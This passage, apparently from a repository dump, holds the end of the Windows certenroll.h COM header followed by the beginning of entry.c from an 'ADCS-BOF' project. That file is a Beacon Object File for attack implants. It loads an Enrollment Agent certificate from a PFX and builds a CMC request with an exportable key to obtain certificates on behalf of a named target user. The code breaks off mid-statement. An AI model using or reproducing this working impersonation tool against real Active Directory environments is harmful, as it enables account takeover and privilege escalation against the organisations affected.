DECLSPEC_UUID(\"884e2013-217d-11da-b2a4-000e7bbb2b09\")\nCAlternativeName;\n#endif\n\nEXTERN_C const CLSID CLSID_CAlternativeNames;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2014-217d-11da-b2a4-000e7bbb2b09\")\nCAlternativeNames;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionAlternativeNames;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2015-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionAlternativeNames;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionBasicConstraints;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2016-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionBasicConstraints;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionSubjectKeyIdentifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2017-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionSubjectKeyIdentifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionAuthorityKeyIdentifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2018-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionAuthorityKeyIdentifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CSmimeCapability;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2019-217d-11da-b2a4-000e7bbb2b09\")\nCSmimeCapability;\n#endif\n\nEXTERN_C const CLSID CLSID_CSmimeCapabilities;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201a-217d-11da-b2a4-000e7bbb2b09\")\nCSmimeCapabilities;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionSmimeCapabilities;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201b-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionSmimeCapabilities;\n#endif\n\nEXTERN_C const CLSID CLSID_CPolicyQualifier;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201c-217d-11da-b2a4-000e7bbb2b09\")\nCPolicyQualifier;\n#endif\n\nEXTERN_C const CLSID CLSID_CPolicyQualifiers;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201d-217d-11da-b2a4-000e7bbb2b09\")\nCPolicyQualifiers;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificatePolicy;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201e-217d-11da-b2a4-000e7bbb2b09\")\nCCertificatePolicy;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificatePolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e201f-217d-11da-b2a4-000e7bbb2b09\")\nCCertificatePolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionCertificatePolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2020-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionCertificatePolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509ExtensionMSApplicationPolicies;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2021-217d-11da-b2a4-000e7bbb2b09\")\nCX509ExtensionMSApplicationPolicies;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Attribute;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2022-217d-11da-b2a4-000e7bbb2b09\")\nCX509Attribute;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Attributes;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2023-217d-11da-b2a4-000e7bbb2b09\")\nCX509Attributes;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeExtensions;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2024-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeExtensions;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeClientId;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2025-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeClientId;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeRenewalCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2026-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeRenewalCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeArchiveKey;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2027-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeArchiveKey;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeArchiveKeyHash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2028-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeArchiveKeyHash;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeOSVersion;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202a-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeOSVersion;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509AttributeCspProvider;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202b-217d-11da-b2a4-000e7bbb2b09\")\nCX509AttributeCspProvider;\n#endif\n\nEXTERN_C const CLSID CLSID_CCryptAttribute;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202c-217d-11da-b2a4-000e7bbb2b09\")\nCCryptAttribute;\n#endif\n\nEXTERN_C const CLSID CLSID_CCryptAttributes;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202d-217d-11da-b2a4-000e7bbb2b09\")\nCCryptAttributes;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertProperty;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202e-217d-11da-b2a4-000e7bbb2b09\")\nCCertProperty;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertProperties;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e202f-217d-11da-b2a4-000e7bbb2b09\")\nCCertProperties;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyFriendlyName;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2030-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyFriendlyName;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyDescription;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2031-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyDescription;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyAutoEnroll;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2032-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyAutoEnroll;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyRequestOriginator;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2033-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyRequestOriginator;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertySHA1Hash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2034-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertySHA1Hash;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyKeyProvInfo;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2036-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyKeyProvInfo;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyArchived;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2037-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyArchived;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyBackedUp;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2038-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyBackedUp;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyEnrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2039-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyEnrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyRenewal;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203a-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyRenewal;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyArchivedKeyHash;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203b-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyArchivedKeyHash;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertPropertyEnrollmentPolicyServer;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e204c-217d-11da-b2a4-000e7bbb2b09\")\nCCertPropertyEnrollmentPolicyServer;\n#endif\n\nEXTERN_C const CLSID CLSID_CSignerCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203d-217d-11da-b2a4-000e7bbb2b09\")\nCSignerCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509NameValuePair;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e203f-217d-11da-b2a4-000e7bbb2b09\")\nCX509NameValuePair;\n#endif\n\nEXTERN_C const CLSID CLSID_CCertificateAttestationChallenge;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"1362ADA1-EB60-456A-B6E1-118050DB741B\")\nCCertificateAttestationChallenge;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestPkcs10;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2042-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestPkcs10;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestCertificate;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2043-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestCertificate;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestPkcs7;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2044-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestPkcs7;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRequestCmc;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2045-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRequestCmc;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509Enrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2046-217d-11da-b2a4-000e7bbb2b09\")\nCX509Enrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentWebClassFactory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2049-217d-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentWebClassFactory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentHelper;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2050-217d-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentHelper;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509MachineEnrollmentFactory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2051-217d-11da-b2a4-000e7bbb2b09\")\nCX509MachineEnrollmentFactory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentPolicyActiveDirectory;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39027-217f-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentPolicyActiveDirectory;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509EnrollmentPolicyWebService;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39028-217f-11da-b2a4-000e7bbb2b09\")\nCX509EnrollmentPolicyWebService;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PolicyServerListManager;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f39029-217f-11da-b2a4-000e7bbb2b09\")\nCX509PolicyServerListManager;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509PolicyServerUrl;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"91f3902a-217f-11da-b2a4-000e7bbb2b09\")\nCX509PolicyServerUrl;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateTemplateADWritable;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"8336E323-2E6A-4a04-937C-548F681839B3\")\nCX509CertificateTemplateADWritable;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRevocationListEntry;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e205e-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRevocationListEntry;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRevocationListEntries;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e205f-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRevocationListEntries;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509CertificateRevocationList;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2060-217d-11da-b2a4-000e7bbb2b09\")\nCX509CertificateRevocationList;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509SCEPEnrollment;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2061-217d-11da-b2a4-000e7bbb2b09\")\nCX509SCEPEnrollment;\n#endif\n\nEXTERN_C const CLSID CLSID_CX509SCEPEnrollmentHelper;\n\n#ifdef __cplusplus\n\nclass DECLSPEC_UUID(\"884e2062-217d-11da-b2a4-000e7bbb2b09\")\nCX509SCEPEnrollmentHelper;\n#endif\n#endif /* __CERTENROLLLib_LIBRARY_DEFINED__ */\n\n/* interface __MIDL_itf_certenroll_0000_0100 */\n/* [local] */ \n\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\ntypedef \nenum ImportPFXFlags\n    {\n        ImportNone\t= 0,\n        ImportMachineContext\t= 0x1,\n        ImportForceOverwrite\t= 0x2,\n        ImportSilent\t= 0x4,\n        ImportSaveProperties\t= 0x8,\n        ImportExportable\t= 0x10,\n        ImportExportableEncrypted\t= 0x20,\n        ImportNoUserProtected\t= 0x40,\n        ImportUserProtected\t= 0x80,\n        ImportUserProtectedHigh\t= 0x100,\n        ImportInstallCertificate\t= 0x200,\n        ImportInstallChain\t= 0x400,\n        ImportInstallChainAndRoot\t= 0x800\n    } \tImportPFXFlags;\n\n#ifdef __WINCRYPT_H__\ntypedef HRESULT (FNIMPORTPFXTOPROVIDER)(\n            _In_ HWND hWndParent,\n            _In_reads_bytes_(cbPFX) BYTE const *pbPFX,\n            _In_ DWORD cbPFX,\n            _In_ ImportPFXFlags ImportFlags,\n            _In_opt_ PCWSTR pwszPassword,\n            _In_opt_ PCWSTR pwszProviderName,\n            _In_opt_ PCWSTR pwszReaderName,\n            _In_opt_ PCWSTR pwszContainerNamePrefix,\n            _In_opt_ PCWSTR pwszPin,\n            _In_opt_ PCWSTR pwszFriendlyName,\n            _Out_opt_ DWORD *pcCertOut,\n            _Outptr_opt_result_buffer_(*pcCertOut) PCCERT_CONTEXT **prgpCertOut);\ntypedef VOID (FNIMPORTPFXTOPROVIDERFREEDATA)(\n            _In_ DWORD cCert,\n            _In_reads_opt_(cCert) PCCERT_CONTEXT *rgpCert);\nFNIMPORTPFXTOPROVIDER ImportPFXToProvider;\nFNIMPORTPFXTOPROVIDERFREEDATA ImportPFXToProviderFreeData;\n#endif // __WINCRYPT_H__\n#ifdef __cplusplus\n}\n#endif  /* __cplusplus */\n#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */\n#pragma endregion\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0100_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0100_v0_0_s_ifspec;\n\n/* Additional Prototypes for ALL interfaces */\n\nunsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\nunsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); \nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); \nvoid                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); \n\nunsigned long             __RPC_USER  VARIANT_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in VARIANT * ); \nunsigned char * __RPC_USER  VARIANT_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out VARIANT * ); \nvoid                      __RPC_USER  VARIANT_UserFree64(     __RPC__in unsigned long *, __RPC__in VARIANT * ); \n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/request_on_behalf/entry.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <oleauto.h>\n#include <wchar.h>\n#include <stdlib.h>\n#include <combaseapi.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include \"base.c\"\n#include \"CertCli.h\"\n#include \"CertPol.h\"\n#include \"certenroll.h\"\n\n#define SAFE_RELEASE( interfacepointer )\t\\\n\tif ( (interfacepointer) != NULL )\t\\\n\t{\t\\\n\t\t(interfacepointer)->lpVtbl->Release(interfacepointer);\t\\\n\t\t(interfacepointer) = NULL;\t\\\n\t}\n#define SAFE_SYS_FREE( string_ptr )\t\\\n\tif ( (string_ptr) != NULL )\t\\\n\t{\t\\\n\t\tOLEAUT32$SysFreeString(string_ptr);\t\\\n\t\t(string_ptr) = NULL;\t\\\n\t}\n#define SAFE_INT_FREE( int_ptr ) \\\n\tif (int_ptr) \\\n\t{ \\\n\t\tintFree(int_ptr); \\\n\t\tint_ptr = NULL; \\\n\t}\n\n#define CHECK_RETURN_FAIL(function, result) \\\n\tif (FAILED(result)) \\\n\t{ \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: 0x%08lx\\n\", function, result); \\\n\t\tgoto fail; \\\n\t}\n\n#define CHECK_RETURN_FALSE(function, result) \\\n\tif (FALSE == (BOOL)result) \\\n\t{ \\\n\t\tresult = KERNEL32$GetLastError(); \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed: %lu\\n\", function, (DWORD)result); \\\n\t\tresult = HRESULT_FROM_WIN32(result); \\\n\t\tgoto fail; \\\n\t}\n\n#define CHECK_RETURN_NULL(function, return_value, result) \\\n\tif (NULL == return_value) \\\n\t{ \\\n\t\tresult = E_INVALIDARG; \\\n\t\tBeaconPrintf(CALLBACK_ERROR, \"%s failed\\n\", function); \\\n\t\tgoto fail; \\\n\t}\n\n#define PRIVATE_KEY_LENGTH 2048\n\nHCERTSTORE LoadEnrollmentAgentCert(LPBYTE pbCert, DWORD cbCert, LPCWSTR wszPassword, PCCERT_CONTEXT *ppCert)\n{\n\tCRYPT_DATA_BLOB pfxData;\n\tHCERTSTORE hPfxStore = NULL;\n\tHCERTSTORE hCertStore = NULL;\n\tPCCERT_CONTEXT pCert = NULL;\n\tPCCERT_CONTEXT pStoreCert = NULL;\n\n\t// Validate input\n\tif (!pbCert || cbCert == 0 || !ppCert) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"LoadEnrollmentAgentCert: invalid input (pbCert=%p, cbCert=%lu)\\n\", pbCert, cbCert);\n\t\treturn NULL;\n\t}\n\n\tpfxData.cbData = cbCert;\n\tpfxData.pbData = pbCert;\n\t*ppCert = NULL;\n\n\t// Open the user's MY store\n\thCertStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_CURRENT_USER, L\"MY\");\n\tif (!hCertStore) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to open certificate store: %lu\\n\", KERNEL32$GetLastError());\n\t\treturn NULL;\n\t}\n\n\t// Import PFX to temporary store\n\thPfxStore = CRYPT32$PFXImportCertStore(&pfxData, wszPassword ? wszPassword : L\"\", CRYPT_USER_KEYSET);\n\tif (!hPfxStore) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to import PFX: %lu\\n\", KERNEL32$GetLastError());\n\t\tCRYPT32$CertCloseStore(hCertStore, 0);\n\t\treturn NULL;\n\t}\n\n\t// Get the certificate from PFX store\n\tpCert = CRYPT32$CertEnumCertificatesInStore(hPfxStore, NULL);\n\tif (!pCert) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to enumerate certificates in PFX\\n\");\n\t\tCRYPT32$CertCloseStore(hPfxStore, 0);\n\t\tCRYPT32$CertCloseStore(hCertStore, 0);\n\t\treturn NULL;\n\t}\n\n\t// Add to MY store temporarily (needed for signing)\n\tif (!CRYPT32$CertAddCertificateContextToStore(hCertStore, pCert, CERT_STORE_ADD_ALWAYS, &pStoreCert)) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"Failed to add certificate to store: %lu\\n\", KERNEL32$GetLastError());\n\t\tCRYPT32$CertFreeCertificateContext(pCert);\n\t\tCRYPT32$CertCloseStore(hPfxStore, 0);\n\t\tCRYPT32$CertCloseStore(hCertStore, 0);\n\t\treturn NULL;\n\t}\n\n\t// Clean up original cert from PFX store\n\tCRYPT32$CertDeleteCertificateFromStore(pCert);\n\tCRYPT32$CertCloseStore(hPfxStore, 0);\n\n\t*ppCert = pStoreCert;\n\treturn hCertStore;\n}\n\nHRESULT RequestCertOnBehalf( LPCWSTR lpswzCA, LPCWSTR lpswzTemplate, LPCWSTR lpswzTargetUser, LPBYTE pbEnrollmentCert, DWORD cbEnrollmentCert, LPCWSTR lpswzEaCertPassword, LPCWSTR lpswzPfxPassword, BOOL bPem)\n{\n\tHRESULT hr = S_OK;\n\t\n\t// COM interfaces\n\tIX509CertificateRequestCmc *pCmc = NULL;\n\tIX509Enrollment *pEnroll = NULL;\n\tIX509CertificateRequest *pRequest = NULL;\n\tIX509CertificateRequest *pInnerRequest = NULL;\n\tIX509CertificateRequestPkcs10 *pPkcs10 = NULL;\n\tIX509PrivateKey *pKey = NULL;\n\tISignerCertificate *pSignerCertificate = NULL;\n\tISignerCertificates *pSignerCertificates = NULL;\n\tIX509EnrollmentStatus *pStatus = NULL;\n\t\n\t// Strings\n\tBSTR bstrTemplateName = NULL;\n\tBSTR bstrRequesterName = NULL;\n\tBSTR bstrEaCert = NULL;\n\tBSTR bstrCertificate = NULL;\n\tBSTR bstrPassword = NULL;\n\tBSTR bstrErrorText = NULL;\n\tBSTR bstrStatusText = NULL;\n\t\n\t// Certificate store\n\tHCERTSTORE hCertStore = NULL;\n\tPCCERT_CONTEXT pEnrollCert = NULL;\n\tPCCERT_CONTEXT pResultCert = NULL;\n\tPCCERT_CONTEXT pFoundCert = NULL;\n\t\n\t// PEM export variables\n\tBSTR bstrExportType = NULL;\n\tBSTR bstrPrivateKey = NULL;\n\tDWORD dwPrivateKeyLen = 0;\n\tLPBYTE pPrivateDER = NULL;\n\tDWORD pemPrivateSize = 0;\n\tLPWSTR pPrivatePEM = NULL;\n\t\n\t// PFX export variables\n\tBSTR bstrContainerName = NULL;\n\tBSTR bstrProviderName = NULL;\n\tX509ProviderType providerType = 0;\n\tLPCWSTR wszPfxPassword = (lpswzPfxPassword && lpswzPfxPassword[0]) ? lpswzPfxPassword : L\"\";\n\tDWORD dwCertLen = 0;\n\tLPBYTE pbCertDER = NULL;\n\tPCCERT_CONTEXT pCertContext = NULL;\n\tPCCERT_CONTEXT pStoreCert = NULL;\n\tHCERTSTORE hMemStore = NULL;\n\tCRYPT_KEY_PROV_INFO keyProvInfo = {0};\n\tCRYPT_DATA_BLOB pfxBlob = {0};\n\tDWORD dwPfxB64Len = 0;\n\tLPSTR pszPfxB64 = NULL;\n\t\n\tEnrollmentEnrollStatus enrollStatus;\n\n\t// CLSIDs and IIDs\n\tCLSID CLSID_X509CertificateRequestCmc = {0x884e2045, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\tIID IID_IX509CertificateRequestCmc = {0x728ab345, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\n\tCLSID CLSID_SignerCertificate = {0x884e203d, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\tIID IID_ISignerCertificate = {0x728ab33d, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\n\tCLSID CLSID_CX509Enrollment = {0x884e2046, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\tIID IID_IX509Enrollment = {0x728ab346, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\n\tIID IID_IX509CertificateRequestPkcs10 = {0x728ab342, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\n\tinternal_printf(\"[*] CA            : %S\\n\", lpswzCA ? lpswzCA : L\"(null)\");\n\tinternal_printf(\"[*] Template      : %S\\n\", lpswzTemplate ? lpswzTemplate : L\"(null)\");\n\tinternal_printf(\"[*] Target User   : %S\\n\", lpswzTargetUser ? lpswzTargetUser : L\"(null)\");\n\tinternal_printf(\"[*] Cert size     : %lu\\n\", cbEnrollmentCert);\n\n\t// Initialize COM\n\thr = OLE32$CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);\n\tif (hr == RPC_E_CHANGED_MODE || hr == S_FALSE) {\n\t\thr = S_OK;\n\t}\n\tCHECK_RETURN_FAIL(\"CoInitializeEx\", hr);\n\n\t// Load Enrollment Agent certificate\n\thCertStore = LoadEnrollmentAgentCert(pbEnrollmentCert, cbEnrollmentCert, lpswzEaCertPassword, &pEnrollCert);\n\tCHECK_RETURN_NULL(\"LoadEnrollmentAgentCert\", hCertStore, hr);\n\tinternal_printf(\"[+] Enrollment Agent certificate loaded\\n\");\n\n\t// Allocate strings\n\tbstrTemplateName = OLEAUT32$SysAllocString(lpswzTemplate);\n\tbstrRequesterName = OLEAUT32$SysAllocString(lpswzTargetUser);\n\tbstrPassword = OLEAUT32$SysAllocString(wszPfxPassword);\n\n\t// Create exportable private key first\n\t{\n\t\tCLSID CLSID_CX509PrivateKey = {0x884e200c, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\t\tIID IID_IX509PrivateKey = {0x728ab30c, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\t\tBSTR bstrProvName = NULL;\n\t\t\n\t\thr = OLE32$CoCreateInstance(&CLSID_CX509PrivateKey, NULL, CLSCTX_INPROC_SERVER, &IID_IX509PrivateKey, (LPVOID*)&pKey);\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(PrivateKey)\", hr);\n\t\t\n\t\t// Force CAPI provider for PFX export compatibility\n\t\tbstrProvName = OLEAUT32$SysAllocString(MS_ENHANCED_PROV_W);\n\t\thr = pKey->lpVtbl->put_ProviderName(pKey, bstrProvName);\n\t\tOLEAUT32$SysFreeString(bstrProvName);\n\t\tCHECK_RETURN_FAIL(\"put_ProviderName\", hr);\n\t\t\n\t\thr = pKey->lpVtbl->put_ProviderType(pKey, XCN_PROV_RSA_FULL);\n\t\tCHECK_RETURN_FAIL(\"put_ProviderType\", hr);\n\t\t\n\t\thr = pKey->lpVtbl->put_Length(pKey, PRIVATE_KEY_LENGTH);\n\t\tCHECK_RETURN_FAIL(\"put_Length\", hr);\n\t\t\n\t\thr = pKey->lpVtbl->put_KeySpec(pKey, 